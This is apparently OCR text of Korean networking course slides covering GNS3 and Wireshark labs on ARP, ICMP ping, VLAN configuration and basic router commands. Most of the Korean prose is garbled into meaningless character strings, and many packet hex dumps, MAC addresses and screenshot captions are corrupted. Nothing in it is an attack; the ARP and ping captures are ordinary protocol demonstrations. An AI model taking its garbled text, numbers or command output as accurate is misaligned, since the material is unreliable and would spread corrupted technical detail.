PC32| IPFEAE 192.168.1.112 HZAS
IPEAE 192.168.1.112 HZAL|X| Z3HC}

QOO AFR =t H X

oft Ipgol mzlgk =ol
ELESEEI A (ReS

» SIO[ojAF R HO| Il F

£ Capturing from - [SW1 1 to PCT Ethernet0] - O X
File Edit View Go Capture  Analyze Statistics Telephony Wireless Tocls  Help
s RE ] &= IEEaqqan
[M]Apply a display filter — <Chl=/> ~| Expression- +
Mo, Source Destination Protocol  Length Info
24 Private 66:68:82 Broadcast ARP 64 Gratuitous ARP for 192.168.1.13 (Request)
25 Private 66:68:082 Broadcast ARP 64 Gratuitous ARP for 192.168.1.13 (Request)
26 Private 66:68:82 Broadcast ARP 64 Gratuitous ARP for 192.168.1.11 (Request) (d..
27  Private 66:68:88 Private 66:68:82 ARP 64 Gratuitous ARP for 192.168.1.11 (Reply) i
Opcode: reply (2) "
[Is gratuitous: True]
Sender MAC address: Private 66:68:80 (B80:50:79:66:68:88)
Sender IP address: 192.168.1.11
Target MAC address: Private 66:68:82 (80:50:79:66:68:082)
Target IP address: 192.168.1.11 -
68 58 79 66 68 82 6@ 50 79 66 68 80 88 66 80 81 Pyfh- -P yfh ~
65 60 86 ©4 00 92 00 50 79 66 68 60 cP ad @1 eb P yfh
v
¥ Ready to load or capture | Packets: 27 Displayed: 27 (100,0%) || Profile: Default

249 ~268H TZI2 PC37t 192.168.1.118 AEStE SAETL QX 201517

H(Request) If
%31—7?% SEH(Reply) THZIO]

A =
Zlo|ny, 27 THZ2 PC10| PC3OAH 192.168.1.11S XHAO| ARSI UASS
C}.
O] Izl +=Alst PC3E 192.168.1.110| 0|0 AFEE[D ASS & &= UA =t
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HElHYDSs FEES
4. ICMP(Internet Control Message Protocol) 5% 20l
© EZEX| 49| PC11f SW1 Atole| I E MEHSID OtRA QBZZ ZEI50]| [Start Capture]E MEABHC}
6— 01 _Metwork_Switch.gns3#* - GNS3 — O it
File Edit View Confrol Device Annotate Tools Help
| = - a
= ON->- BIOQArR
_Enu:l devices @L_l a| Tnpology Summary =3
' . a » ©PCH
R Elisit PC1 pC2 » © PC2
T i . SW1 m » @ PC3
vees| == | : » @ SWi
‘ B e el | ¢+ Start capture el :
- = e Delete
~ Host 192.168.1.11 + 0 192.168.1.12 | Servers Summary  BEE
[ m 192.168.1.13
o WyE.com = ~ 255,266.2565.0
0 -+New appliance template ,"

Console

Running GNS3 version 1,5.4 an Windows (B4-bit) with Python 3,6,0 015,71,
Copyright (o) 2006-2020 GMS3 Technologies,
Uze Help -» GM53 Doctor to detect cornmon issues,

I )

5tO] 2tO|0AFFE H

File Edit View Control Device Annotate Tools Help

R ERR

+New appliance template

Console

B e L e e e N e e

Running GMNS3 version 1.5.4 on Windows (B4-bit) with Python 360 Gt 571,
Copyright (o) 2006-2020 GMS3 Technologies,
Use Help -» GM53 Doctor to detect common issues,

| I

~ e ""\ S b |
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Enu:l devices e Tnpology Summary eS|
(T el = » © PCI
@ * Client pPCi PC2 » O PC2
1 o 4 SWi1 . » @ PC3
JE ypra! = | m b O S
- B s € Packet capturs 7 X [ :
-. Host bl 168.1.12 | Servers Summary @&
ot | W1 port 1 (Ethernet encapsulation: DLT_EN10ME) = | 255.255.0 ©) Local CPU 3O -
IE!' HWZ.Com

e
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HeldHUnSsn FE2Esh

% PC1| arp table2 #Xf B0 ST arp table SiE SAET Y 0|3 MSJ FA9 MAC F40 M2 XMW Hol2E
LANOA ZAEZES| SAE ol AFREICE &, PC1(192.168.1.11)0] PC2(192.168.1.12)2 HIOIEig HUOX StOtH WX arp table
£ =0ol5to] 192.168.1.120] CHES = MAC FAE olste ™S AL

@ PC10lAM ping 192.168.1.12 BHEZ &3l pC2o| 8EE =elsotct.

2 PCi - O %

X 192.168.1.1201M 2| SEE 58 ilot AS &g &= QUCE £ show arp BHS & arp t ableOil 192.168.1.120] i S &= MAC
ZATF MEE A &l 4= QUCh arp table2 ZAEO| MM Mzt SAEZ AN e S0 QXL YH AlZH 0|=0f A
H=7| = Bhot,

® 20| AFRO|M PC10A ping 192.168.1.12 BHE +HWsl= 1HYo| jzl8 &QIshot.

£ capturing from - [SW1 1 to PC1 Ethernet0) — O x
File Edit Wiew Go Capture Analyze Statistics Telephony Wireless Tools Help
m @ RE QR eaex=FT 4= QaQQH
(W[ 2eply 2 display filter - <Cirl=/> | ~| Expression---  +
Mo, Source Destination Protocol  Length  Info
1 Private 66:68:00 Broadcast ARP 64 Who has 192.168.1.122 Tell 192.168.1.11
2 Private 66:63:81 Private 66:68:08 ARP 64 192.168.1.12 is at 88:58:79:66:68:01
s 3 192.168.1.11 192.168.1.12 ICMP 98 Echo (ping) reguest id=Bxdfba, seq=1/256, ttl.
«— 4 192.168.1.12 192.168.1.11 ICMP 98 Echo (ping) reply id=Bxdfba, seq=1/256, ttl.
5 182.168.1.11 192.168.1.12 ICMP 98 Echo (ping) request id=BxeBba, seq=2/512, ttl.
6 192.168.1.12 192.168.1. 11 ICMP 98 Echo (ping) reply id=Bxe@ba, seq=2/512, ttl.
Fi 192.168.1.11 192.168.1.12 ICMP 98 Echo (ping) request id=Bxelba, seq=3/768, ttl.
8 192.168.1.12 192.168.1.11 ICMP 98 Echo (ping) reply id=Bxelba, seq=3/768, ttl.
9 192.168.1.11 192.168.1.12 ICMP 98 Echo (ping) request id=Bxe2ba, seq=4/1824, tt.
1@ 192.168.1.12 192.168.1.11 ICMP 98 Echo (ping) reply id=Bxe2ba, seq=4,/1824, tt.
11 192.168.1.11 192.168.1.12 ICMP 98 Echo (ping) request id=Bxe3ba, seq=5/1288, tt.
- 12 192.168.1.12 192.168.1.11 ICMP 98 Echo (ping) reply id=Bxe3ba, seq=5/1288, tt.
Frame 3: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) on interface B
Ethernet II, Src: Private 66:68:00 (00:50:79:66:68:00), Dst: Private_66:68:01 (PB:58:79:66:68:01)
Internet Protocol Version 4, Src: 192.168.1.11, Dst: 192.168.1.12
Internet Control Message Protocol
88 58 79 66 68 01 68 58 79 66 68 0B 08 08 45 06 Pyfh- <P yfh---E: o)
010 80 54 ba df B0 @0 40 81 3c 62 cB a8 01 Bb <@ a8 T @ <b
8028 91 @c @8 88 48 5@ df ba 89 8a @P
8638 af 16 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d
@ade 1 28 21 22 23 24 25 26 27 28 29 2a ”
7 Ready to load or capture Packets: 12 - Displayed: 12 (100,0%) || Profile: Default

X Pc101|A1 192.168.1.1222| pingg EL{7| 0
€ EUW1 ping requestE 4T A2

9A'Ef.

>

RPE S5l 192.168.1.120]
QUCt PC1ol 2& SHHOIME

st MAC FAE

reply I{Zl0j

golg

f. 3 O|&0 ping request
Cher MR ZAISHR

A
e




[06] LAN & & JI2 Z2&2 0laf [33]
HEIHUWNSE W FEESH
‘1 ping request, ping reply I{2l & SLtE MEHSIO] [Internet Control Message Protocol] &50A [Data]®] 377 & bytesO|H,
. Datall HE{E Of[3HR| SHQISHA|2.
2. ping request, ping reply TZ!2| Sequence number(BE), Sequence number(LE)7} OB A Z7t8H=X| 2HQISIA|2.
PCI1 i pC2 2zt Zo| pc3g ot EXoz 250 M stop 2
m @ MERSICE
——E—* oy PC19| 2&0|M ping 192.168.1.138 &St 2& 2D
= : oolojAFaE S3f ZWE Belstn, Zuof Chet A2 of
192.168.1.11 192.168.1.12 2jol EgotAl2.
255.255.255.0 el 255.255.255.0
vecs [N
P
192.168.1.13
255.255.255.0
PC1ol 2& 3t UH
PC32 2& =M A  192168.1.130] =S = S22 HA|SHCE
£ Capturing from - [SW1 1 to PCT Ethernet0] - O X
File Edit W“iew Go Capture Analyze Statistics  Telephony Wireless  Tools  Help
Bde RESQe==F85=EQqaH
[M]Apply a display filter — <Chl=/> .0 ~| Expression-  +
Mo, Source Destination Protocol  Length Info
13 Private 66:68:088 Broadcast ARP 64 Who has 192.168.1.13? Tell 192.168.1.11
N 14 Private 66:68:00 Broadcast ARP 64 Who has 192.168.1.13? Tell 192.168.1.11
QO|O{AFT ZHH A 15 Private 66:68:00 Broadcast ARP 64 Who has 192.168.1.132 Tell 192.168.1.11 v

» SIO[ojAF R HO| IiZ F
OfH Ipgel mizi2t =HOolA

ELESEE A (ReS

Ethernet II, Src:

~ Address Resolution Protocol (request)
Hardware type: Ethernet (1)
Protocol type: IPvd (BxB800)

Frame 13: 64 bytes on wire (512 bits), 64 bytes captured (512 bits) on interface 8
Private 66:68:00 (00:50:79:66:68:80), Dst: Broadcast (ff:ff:ff:ff:ff:ff)

Hardware size: 6
ff ff ff ff ff ff 60 58 79 66 68 60 88 66 68 81 P
08 00 P56 04 00 B1 @0 S50 79 66 68 @0 c@ a8 @1 6b P

ff ff £ff ff ff ff cB a8 ©1 8d 80 80 B0 B0 B8 B8O

¥ FReady to load or capture

| Packets: 15 - Displayed: 15 (100.0%) ||

Profile: Default

mjzlol oot 49
» AN E DA
S (No)S Z&slof
HYSHA|I L.

=

138 ~258 TjZI2 PC10| 192.168.1.132 AtE3Sl= TAETL QJUEX| &0l
Zl2 LANO| EE2EI|AE ot upPgolCt O|of CHEH S (Reqly) THZZ =4
192.168.1.1301 ZET 5= QICh= MAIXIE 2Z 2O BA|SHCH

ARP 2% (Request) If
X 23esz pC12




VLAN 74

1. VLAN(Virtual LAN)
VLANS A9IX|0] $IZE oiLtol HEYAS of3f Aol =2 YEYAR BEstE Jls

=

o

mjo

Els

|= BtLtel 29IKIE of2] JHe

AQXZ SOl ABSH HOZ M Ech

2t2to] VIANS SEEQl AYKIZ0| SHBHT, Ola A9IK0] SUS YAOR VIANS HHO| CHYS HefZ YEYIE THY 4
olC}
S .

>

Router '\‘_'

~
P

g A=ig=]
] k=
AA 2
R o \> <)
— o VLANZ O|83%tH 1742 X2 o3| 7ol HERZAE FdE
JWLElS] HEET HE ASD BEO| BF AW Mol A9 = 'C;J hel =% 011 hel HE Te
. % QT AZo| YEYI TMOME AX|t 374 TR0
K1 A9QX127F 2 HZAZ0or2 22 WEEO| ST HES o - =
= VLANZ ZEICHH 29X 27i2 SYT HERYIE F49E +
38 /XY + Yrt
olCt
AN .
22/X|0] PC, ZEH 1 Z2 B2 X7t HZAL0 HELIL It HILH BERZEIAE YU SII6H0 HELZ S ds0|
MotE 4 UCh VIANS HEEJHAE S0jolg 23sl0] H2EHAE ELOR I HEYI Y5 HtE e 4+ Atk
o AQKR PAYE EQINME BOHE MO 90| SF T M 4 0| O YN, VIANS SYHQ HEYAS 7
Holo2 MZ CHE VIANO| &3 e BXS2 M2 S0 2715310 Hotdg &Y 4 Urt
mVLAN 7|2 EE
Switchéshow vlan
VLAN M s b — .
_____ R R 7|EmMoE AQX9 BE EEE VIAN
1 default active Fal/1l, Fal/2, Fal/ 3, Fals4 10| =8ULCt ETH VIANS Hsz2 82
Fa0/5, Fa0/&, Falf7, Fa0/8 St & ols BB o
Fa0/3, Fa0/10, Fa0/11, Fa0/1z otH, 2 =+ s Y=e 1MEH 100
Fa0/13, Fa0/14, Fal/15, Fa0/l1& 5H17]p(|0| Ct. O|Z0|A Of %=l 181, 1002~
Fal/17, Fal/lg8, Fal/1l3, Fald/Z0 = st o
Fa0/21, Fa0/2Z, Fa0/Z3, Fal/Z4 10055 A et 2HFEl 1001H7A| ALE
Gigl/l, Gigl/z R7h gee & 9tk
1002 f£ddi-default sct/unsup
1003 token-ring-defaultc act/unsup
1004 fddimet-default act/unsup
1005 trnet-default act/unsup
Switché#show flash
Directory of f£lash:/f
VLANS| HEE 7[2822 viandatd] A
1 -—xw- 4414521 <no date» cifcl0-lanbase-mz._122-2Z5_FX_bin
2 —Iw— gle <no date> vlan.dat §J%Jth

64016384 bytes total (59600847 bytes free)




[07] VLAN &
i}

R

2 HECIHAE EHQl 29l

22[X|0 F=7HX 2l VLANO| HEEX| 2 4% 29(X|9 RE ZEE Lo HEEHNAE MRSz AHYECE 2 SAEQ PFASG
£ Bgho] gioh ChE 18E S 29Kl Ez

MEU OtA3E 0|88 282 7tsdttt S2/H2z StLte] EREIHAE EOfQIQl Ao
EIAE Qo) CHa =kelgtoy.,

=

rer

@ GNSO|A VPCS PC1, PC2, PC3, PC41} AKX SW12 F7tstn, ZH VPCSet AX|E =AMO2 HABICE swidt PC4 AtO|Q] A3 E

MERSED o Start captureE ZE/5HC}

i}

& 02_Network VLAN. gns3* - GNS3 - O *
File Edit View Control Device Annotate Tools Help

EF=E2 OF> > RBC HmIlcoQQE

+  Topology Summary B

b & PCI
r & PCZ
b & PC3
& PC4
P& SW

Servers Summary &5

©) Local CPU 1B.1--
4 | ]
Console [
B =

Aunning GMNE3 version 1.5.4 on Windows (Gd-bit) with Puthon 3.6.0 Gt 5,71,
Copyright {c) 2006-2020 GMNS3 Technologies,
Uze Help -=» GMNS53 Doctor to detect common issues,

=

® GNSO|M VPCS PC1, PC2, PC3, PC41} AQX| SW1S F7tstD, ZF VPCSQE AQKXE &=MINE HZABICH

EP PCT — O b4

pCls dip 1

VPCS IPFEA MEU OiA3 AOlEQ0|
PC1 192.168.1.10 255.255.255.0 192.168.1.254
PC2 192.168.1.20 255.255.255.0 192.168.1.254
PC3 192.168.2.10 255.255.255.0 192.168.2.254
PC4 192.168.2.20 255.255.255.0 192.168.2.254

X PC1, PC2= 192.168.1.0 WIEQIR, PC3, PC4= 192.168.2.0 HEQIAZ MHH™E|QUCE
IPFEAQL MEY OrA3E 0|8310] ME CHE HERQAR B2l F2HOEE StLEo| A X|of HAE AE{O|Ct

® PC10A 192.168.2.202 2 pingS EHC}




[07] VLAN &
i}

SelolE sl %34

@ LSOl A0|0jAFT | WZIS =QlIBICY,

= Pt

H B B B B EEESN
£ Capturing from -:[ W1 4 to PC4 Etherne

]
File Edit View Go Capture Analyze Statistics Telephony  Wireless  Tools  Help

=
L} |

Fm
|
O
H

B ® 1 REe=2=2F LEF=EaQaQan
[W]&pply a display filter - <Cil=/> [ ~| Expression-: 4
Nni..Sq.ur.ce........Qeatin.ati.pm.......ErqionDL.Lannth.l.nfu......................-
¢l Private 66:68:80 Broadcast ARP 64 Who has 255.255.255.82 Tell 192.168.1.1@:
"2 Private 66:68:00 Broadcast ARP 64 Who has 255.255.255.8? Tell 192.168.1.18 ,
"3 Private 66_:_6_§_:_BE} Broadcast ARP 64 Who has 255.255.255.8? Tell 192.168.1.18 ¢

Frame 1: 64 bytes on wire (512 bits), 64 bytes captured (512 b1t5) on interface @
Ethernet II, Src: Private 66:68:808 (08:58:79:66:68:088), 'Dst Broadcast (F—F e F—F)l
Address Resolution Protocol (request) femmmmmmms e

£F £f £f £f £f ff 00 50 79 66 68 00 08 06 00 01 P yfh
98 00 ©6 04 00 01 B0 50 79 66 68 00 cO a8 01 @a P yfh-
£f £f Ff £f ff ff ff ff ff 00 00 00 00 00 00 08 -~~~ -~~~ .. ...

¥ Feady to load or capture || Packets: B - Digplayed: 6 {100,0%3 || Profile: Default
X PC1It PC4= ME CHE HEKIO &617| IE0 4 = e HEOIX|TH AXE HE EEEIHAE I{3l0| PC477PXI L= oy
1 oLt ALK BE ZEV} SHLO| HEEIHAE LOQI0]7| IfE0] ALX|of

2 g £+ ULk F, IPFA0 o ZEHEO| & e
AZE ZE DAE0 DjA0| =EYSE JEYS =olg = AT

_ PC19| IPFEAS 192.168.1.1001 A 192.168.2.3022 HHZBICIH pC11t PC3, PCA= M2 E4I0| 7t587b 0|Q=
FaA0I7t?

| PCIT PC3, PCAE M2 SH0| JHSHIAICL 0|RE AIK|E SiLie| BREAE EHQI0]7| TS0 PFAY HEUNAIE 0F
o 22 HEYAR B A2 SAO| Jhse AEfol7] HRolc

Pt

3. VLAN &H™

221K sw1e| 3H¥, 4 HXEE VIAN2E HZs0 EEEIHAE EOQZ 22|30t Ol &8 PC1, PC22| 192.168.1.0 UEAL}
PC3, PC42| 19216820 HER A= IPFA #0 OtL|2} VLANS SSiME ME Z22|Z/0] 2ty e=E L AN HEQIAR HEL|JLCL
@ EEZZX Aol swi1g 0RA @EZoz Z2I3l0] [Configure]E MEASICL

6— 02_Metwork_VLAN.gns3* - GNS3 — O x
File Edit \iew Control Device Annctate Tools Help

F=2 OfF>-»> NC IZE[__]:::QQ-

Tnpnlogy Summary & &

@ SWI » @ PCl
- @ PC2
f—ﬁ & PC3

+ Configure" o pra

‘¢ Change hostname £ 5

T v v

s Change symbol

| Servers Summary @ X

. Capture ; !
) Local CRU 7.6

S3 Raise one layer

£ Lower one |ayer
=

w Delete

Console =]

& & Funning GN33 version 1.5.4 on Windows (54-bit) with Python 36,0 0t5.7.1,
g 0 Copyright {c) 2006-2020 GMS3 Technologies,
Use Help =» GNS3 Doctor to detect common issues,

e

=

<<
4




@ swi2l 20M 3 ZES MESIL, VIANS 22 #ZF 2, [Add]E SESICL 4H ZEX Z2 YYo= HFSIC}
& MNode properties ? x
| SW1 configuration
General Ports
Mame: |SW1 |Port =« WLAN Type EtherType
13' 1 acCess B
N - B EEEn -aECESE
Settings :3 2 access o
" 12 access
: :. o E ElEm =E . -atﬁﬁ
Port: 3 - B 1 access
7 1 ACCESS
WLAN: 2 _: B8 1 access
Type: ACCRES =
QinQ EtherType:
- mmmmmmg —
: Add s Delete
Feset oK Cancel || Apply |

® PC10Al 19216822022 pingS E MLt

PC1:

¥ PC12 192.168.1.0 HIE 3, PC4= 19216820 HERIAZE ME CHE HEQI0 &517| 20| M 5= = HE{oICH

@ HATQ A0|0{AF R mZlE =QlBHLY,

£ Capturing from - [SW1 4 to PC4 Ethernet0) — O x
File Edit View Go Capture Analyze Statistics Telephony Wireless  Tools  Help
m® REQes==2f i EF=QqaH
(W [Beply 2 display filter - <Cirl=/> . ~| Expression-  +
Mo, Source Destination Protocol  Length  Info
¥ FReady to load or capture || Mo Packets || Profile: Default
X AQK| Swi1ol 38, 4H ZE= VIAN2E X85, CHE ZEC: &MY + & JEi7h =ACE X swi1el VIAN 2750 olsf
2719l EECI|AE EQoZ2 HAL|RULCE
VLAN ST ZE HS H|
1 1,2, 56,7 8 PC1, PC2
2 3,4 PC3, PC4




SWI
ChEol 272t2 2A0|0jAk A2 2 EE 5to] 2719| 2400
NERCER-EE
T2t 1 SW1 < PC2
T2 SW1 < PC4
PC10IA 192.168.2.202 2 ping2 +dstL, 1 ZIHE 210
OAFRE Soff st siMS ZdstA 2.
PC1o| 2& oM N
PC32l 2& ot @Y 1921682200] MZ CHE WEQIO2Z =2 - USS EAIBCL
£ Capturing from - [SW1 2 to PC2 Ethernet0] - O X
File Edit Wiew Go Capture Analyze Statistics  Telephony Wireless Tools  Help
& ® RE ] &= T EE=Eaqan
[A]¥pely a display filter - <Cl=> .. ~| Expression--  +
Mo, Source Destination Protocol  Length Info
TZH 12| 2L0|ojA R 1 Private 66:68:00 Broadcast ARP 64 Who has 255.255.255.0? Tell 192.168.1.10
SHH 24K 2 Private_66:68:00 Broadcast ARP 64 Who has 255.255.255.8? Tell 192.168.1.10
_ 3 Private 66:68:080 Broadcast ARP 64 Who has 255.255.255.8? Tell 192.168.1.18
» O|O{A R Ho| I F
o] TEO| TZITH HO|H Frame 1: 64 bytes on wire (512 bits), 64 bytes captured (512 bits) on interface @
RS Ethernet II, Src: Private 66:68:00 (B8:58:79:66:68:00), Dst: Broadcast (ff:ff:ff:ff:ff:Ff)
= » Address Resolution Protocol (request)
agee ff ff ff ff ff £ff B0 50 79 66 63 00 [GgE 68 81 - .- .- - P y‘Fh-.--
68 60 86 B4 08 61 8B 50 79 66 68 BB B a8 61 B8a P yfh
FF Ff £f £f Ff ff ff ff ff 00 00 66 66 60 00 08 - ------- - .- -
@0 60 00 00 00 60 60 0P 060 60 60 00 00 00 60 e
7 Ready to load or capture Packets: 3 - Displayed: 3 (100,0%) Prafile: Default
T2k 12| myzlof cheh 2 =
; 5 _ 18 ~38 TZ2 PC10] 19216822022 U ping0| HRENAE EQUY| TR PC2OIAE HAO| =
AL k= =
- BHE WS USNOIE o miorer & ol
5L BEHBIA|R.

» 2O|OfARR Hol A F

£ Capturing from - [SW1 4 to PC4 Ethernet0] - O X
File Edit View Go Capture  Analyze Statistics Telephony Wireless Tocls  Help
F7+ 20| QL0[O{ AR o ae REQe=2=g s EQQAQAH
510 2] [W]¥pely a display filter — <Chl=/> .0 ~| Expression- +
Mo, Source Destination Protocol  Length Info

ot Ipgol mzlgh =ol

ELESEE A (ReS

7 Ready to load or capture

|| Mo Packets

|| Prafile: Default

7t 20| W{ZI0| CHSF M
?awml HHaTT|u+H T HR AQIK| swiol 48 EEE VIAN2O
* XN E TiZlo] HZ(No)E - .

HIEIHAE I3l oHst & 9l AEjO|C

Z3I510] MBSIA|Q, 2L 72 pC40| = o fo|ct,

£510] MZ CHE BEREIAE EHQI0]7] WZ0 PC10| EH




W TIP - 29X HES QS 294K 2E F7}
GNSOHH 712X E M3Iote 2%Kl= 7|80 MetEof A1 YHOE 0|8 K|
AQK| ZE(NM-16ESW)S F7t810] 167] O|HY ZEES 0|838) ALK

@ 2FR*H2| Configure EOA [Slots] B& &I} slot & SHLIE MEHSIY AKX Z&E(NM-16ESW)E F7

dES fsiME 2REHO

& Node properties
'Rl configuration

General | Memaories and disks | Slots ' &dvanced

Adapters

slot 0: | C2600-MB-1E

b
slat 2 | MM-1FE-TX
MNM-1E
slot 3| yp-ze
slot 40 | NM-18ESW

slot &

slot G

WiCs

wic (0 | WIC-2T
wic 11

wic 2

Reset

[ (8] 4 ~ Cancel Spply

o o

= - =

=5
A9% MBS B+ AU FHY

@ EF2EHO 22&(console)2 BL T, show interface status BHES E3f O|Hul ZLEO| ME|E TQIT £
t

g AT

UEL. O[H| 2tREE Sl




'R1 configuration

General . Memaories and disks Slots #dvanced

Use a custorm symbol (e Symbols library

Symbols

Show only built-in symbols

MName: | S|
Platform: c2600
Chassis: 2610

|05 image path: | c2600-adventerprisek9-rz, 124-25d, bin
Congsole port: E000

AUy port: 1]

Resat

Search: |switch

atrn_switch

edge_label_switch_router

frame_relay _switch

ﬁ label_switch_router @

You can add your own symbols inthe symbols directory,

T| Cancel apply

[07] VLAN 74 [40]
HelelgfdlnsSstn FEE5 ]
® L2 Z0] VLIANS &3 &+ Ut
ER0j| mat R12| Symbollt O|§2 AQIX|QF 27 HEL £+ AL
& Node properties ? bt
& symbol selection ? ped




HEQ3 F8(WAN)

08 28 7iE % 2LH 7|x

09 Y gt

10 35 24

A2 _C A H
www _daum.net
180.70.134.9

MEX UERT
r/
192.168.1.10 8 4
wWww.sunrint.hs. kr
125.241.101,109
192.168.1.20 DNS A H
L B dns. kinx.net

A9% B . 203.246.162.253




08 B2F Y U 2ALEH 7|x

1. 2+2& (Routing) 0|5l

= Jbgol 2HU FYE

A I_C BAHH
wiww .daum.net
180.70.134.9

MEBAUHERKT

192.168.1.10 s ' i

www.sunrint.hs.kr
125.241.101.109
192.168.1.20 DNSHH
B . dns.kinx.net
A27 B . 203.246.162.253

QIESar Zo] Ciefet WEJIZ Mz AZE0 Fd& HEJINME FEE MSsHs AHet ’“EE 235s SLHOUET M=
bl
[==}

CHE HEYIO &3 @°7f RCE O E S0 2o 7teel AHU FTHEON AMBX HELA0 %3t S2I0|HE HFH(192.168.1.10)0
M www.sunrinthskrol H2817| QsiME 2H2E_AS AN CHYst HZE XLt 2t2E|_FE £3 HTTP_Request TjZ2 7§j sorot siCh,

ESH www.sunrinths krOil M Z St HTTP Reply T2 2 2t2H FE &3l Chdet 2E XLt Ef EI_AO| Z=E310] 192.168.1.10 20| E
AFHO| MEE Ao|CH

BIQE|_AQF BHSE| B AFO|O] IjZIS ZFNWS £ QU Chst A2JF UOH, 1 FO|A 2HLE ACAN S0 2tLE_FIA| 25}
o8l ALRE 4 Q= HEO| ZRE L1t 2Lt
Az AN 7he 2HSE &M AN 7te 2I2E % Hin}
A2 1 | 22H A — 2}2E B — 2t2EH F 3
A2 2 | 2t2E A > 2t9E B — 2I2E D — 29H F 4
423 | 2t9E.A > 212EB — 2REHD — 2REHE > 22EHF 5 = 2
NZ .2 Y4ELa
HZ 4 | 21SE A - 219H B - B1SE D - 29EH C - BIE E - BSE F 6 12 e HEN
=2 sy, [3lof
A2 5 | 2}2E A - 2I9E _C — 2t9E D — 2t2E F 4 o _
ARMYS HFe
42 6 | 22HA > 2I2H.C —> 22HD — 2t2H B — 2IRHF 6 HES3 A
A2 7 | 2t2E A — 2t2E C — 2t9E_D — 2t2E E — 2tSE F 6
A2 8 | Bt2E A — 2tRE _C - 29E_E — 2H9HF 4
O/ Cist HE ZOIM 7HE WaD Mals £ s H2e ofF A2
WE A2 AL ChYSH WHo| YL, SIS W2 Z2ES X7| 3| AN Ot CH2 MEJF Qooz, HA JHe 22E| 4Tt
e Hzut we FE2 am JPHSICIE, 2 10| 7bE W2 27 2 Zolct,

o
oMy ZLXIAM SHXZHA| TS WEn HHsHA EL7] 23t 42 23S 2H2E(Routing)0|2t i, 2t S M= CHY

o YEet AR 2 ROHZf ol HANMY AN Jhe 2tREQ| 5 01830 d2E 2¥Y +L AL, SHX|T 2L E_AQ} 2t E B2
g3 £57t 1MbpsO| 1, 2tRE_AQt 2t2E _CO| @3 £ =7t 1000Mbps2tH ZZ 10| 7+ w2 Z=27t & = U2 ofote JHX|&
2 AoILh &, ZHo| Z2 HFE M= AN 7t= 2tREHQ T, 24 2hRE Y3 £k, 2IRE 9 =8E, 2RE JH § oY
o Rt “'ROHII O YEE ZHE S AEst=Xlof M2t ordfel EXMEY ot 2t ZTR2EFO0| EXY St
g 2oy m2Ed H| £%
X H=z = ZE(Static Route) HEY3 [2|X7t B2E =
243 CIZ2E HX ZZ(Default Static Route) 8 H ggsio 43
RIP(Routing Information Protocol)
IGRP(Interior G Routing P )} ZAEIAE Bl
nterior Gateway Routing Protoco _ . o = )
X H= y Toutns meea BIQE/7} AIECR 2I9E 7
o EIGRP(Enhanced Interior Gateway Routing Protocol) of 2tRE HMEE nztsio] *|
= OSPF(Open Shortest Path First) 2|3 AR} 2teE Mol 42 MF
IS-1S(Intermediate-System-to-Intermediate-System) ZEEE




[08] 2t*E HE

Ael

(AL =)

2 22

J
I NSE N FEES

2tRE0ol= IA EX ZE(Static Route)?t 5% A= (Dynamic Route) A& 2H#0| UL EH

= 27%F0| O|ROX|O, HERZ2l Hzto] 2A 0] 2t*E HOES |XIECL X 2 482 38 2t*¥Y EEE-‘—Oﬂ °|°H |'% =
HEZ S5 % M IFE s, olof mat 2t2E HOES 2hdiCh S5 228 ZEEZ0| X|Fo| ZE AE0| naiste A
ge Ch3at Zoh
gs 23
StLtol & 6H—fol 2HREOM Ctg 2tREIXQl HE|E Lottt 5= HOtLh B2 2tREY)
E(Hop) EQIE HX=XIE Lo, ZRste 2t2H7L Be =EE&+7t B2 =5) X H0| Lysty| o
=20 57t 75"‘0 20| &Lt
FIHSOA)S HE sHS USH =0l S8 & S7t WECH SHXT 52 HYES
L & Z (Bandwidth) 74 ATt 2Fo| A2Vt ofd = UL YT =HX of oz 227 AS d2 BE EFY
o] 2 HYES 7t Y320 ERfog BUOHH 2 427t 4 2a88Y = UC
HI 8 (Cost N AT JHK|s 1R Yo E YotNo=Z WE HERA:= HE HEE 7HAL, SE HEH3A
o A2 =2 H|&E2 JIXCt
X| 912t (Delay) A ZOoILt 7HE 2tRES| F(Queue) ZO|, AL =ZFE, =2/HQ A2l & thst 240 29
A-8EEe XA §=E LIEFHDE
2L (Load) 2tRE CPUQ| AME-EO|Lt THZI0| MElkl= £=0| MHE Sats LIEHHCE
O = (Reliability) Y37+ Aot ebER oz [X|Ele XIS LEHCE
MTU(Maximum Transmit Unit) | @30A He|& = A= ZCistel Hoje 37| Lstict

2. 2tRE 2%  « A|2F 2RH 7|E
7t 2t H

Lt 2tREl F=

Router#show versior-x\ RAM NVRAM Flash ROM
k. bootsirap program

™ lOS(Internetwork OS)

Router#ishow process [cpul
Router#show protocols

Router#show running-config

Auxiliany’

Router#show memor, Router#show interface Router#show flash
Router#show stack Router#show interface serial O
Router#show buffers

Router#show startup-config
Router#show config
1) ROM
- BFQEO| JhE =M He KE
- Bootstrap Program2 &d EzfA|0] MEHE I0SE RAMRE 0|FA|7|= A

ZAl HIZ2|0f OO M7|H ROM AHH| LHS| EX IOSE RAM2E 0|3

2) 22fA| M 22| (Flash)

- 22 EHE 230l 2YM Al 10S(Internetwork 0S)7t AL, M0 A= CO|H
- Melo] HX|HA B2fA| HZ22[2| I0SE RAM2ZE 0|5

3) NVRAM

- 2FREol Y0 2ot YEIF MR, A0l AME HolH ||
- ARERHO| 2l 27 E 22 RAMO MEERACHE NVRAMO| X E310] Aoz

[

A

2
[S)

2%




[08] 2t2E ¥ ¥ 2tRH = [44]
HEIHUW N SE W FEESH
4) RAM
- AFEXO| ol M™E S0l ME
- PlEdo|lE2 MRS N HO[K 7t Atetd
Ct 2I2He RE
2= e % HY ZEmE
AHEXH BE (User Mode) 2tEQl X HEf =l Jts, 7ol MAdE s Router>
Z2|22|X| RE (Privleged Mode) | Router> enable, 2t E{S| 14 S H7L} HE s Router#
T4 2E (Configuration Mode) | Router# config terminal, 2t E9| 74 mAUS HASIE F20| ALE Router(config)#
X . ile0| Sl AHo ivedt 2IREH MMEZ Q3 E
M9 BE (Setup Mode) Cogflguratlog File |A_HA 420 I_nteract|veo tRE 482 C—).—IL -
2FRH7 Mg ST My, 4 ool g I Aizez MYPste ZE
x BE BF Y ZE #HAS Qo HAHO
MBI BZ, User Exec Mode
enable exit, disable
HAUA T B, Privileged EXEC Mods
configure terminal exit, Gtrl/Z
A4 2E, Global Configuration Mode
2t 2tRE ZE #E5Y|
Router>enable
Router#configure terminal
Enter configuration commands, one per line. End with CNTL/Z
Router(config)#exit
%SYS-5-CONFIG_I: Configured from console by console
Router#disable
Router>
oh 2t2H 7|2 ¥E
